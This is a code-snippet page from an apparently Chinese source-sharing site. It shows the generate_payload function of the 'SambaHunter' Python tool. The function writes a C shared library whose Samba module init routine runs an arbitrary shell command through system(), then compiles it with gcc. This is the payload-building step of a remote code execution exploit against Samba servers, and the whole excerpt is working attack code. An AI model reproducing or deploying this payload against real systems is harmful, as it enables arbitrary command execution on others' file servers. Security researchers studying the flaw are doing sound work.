sambahunter.py 文件源码

python
阅读 23 收藏 0 点赞 0 评论 0

项目:SambaHunter 作者: brianwrf 项目源码 文件源码
def generate_payload(file_name, cmd):
    content = '''
    # include <stdio.h>
    # include <stdlib.h>
    int samba_init_module()
    {
        system("%s");
        return 0;
    }''' % cmd

    payload = open(file_name + ".c", 'wb')
    payload.write(content.strip())
    payload.close()

    compile_cmd = "gcc %s.c -shared -fPIC -o %s.so" % (file_name, file_name)
    (status, output) = commands.getstatusoutput(compile_cmd)
    if status == 0:
        print "[*] Generate payload succeed: %s.so" % (os.path.dirname(os.path.realpath(__file__)) + '/' + file_name)
        return file_name
    else:
        print "[!] Generate payload failed!"
        exit()
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号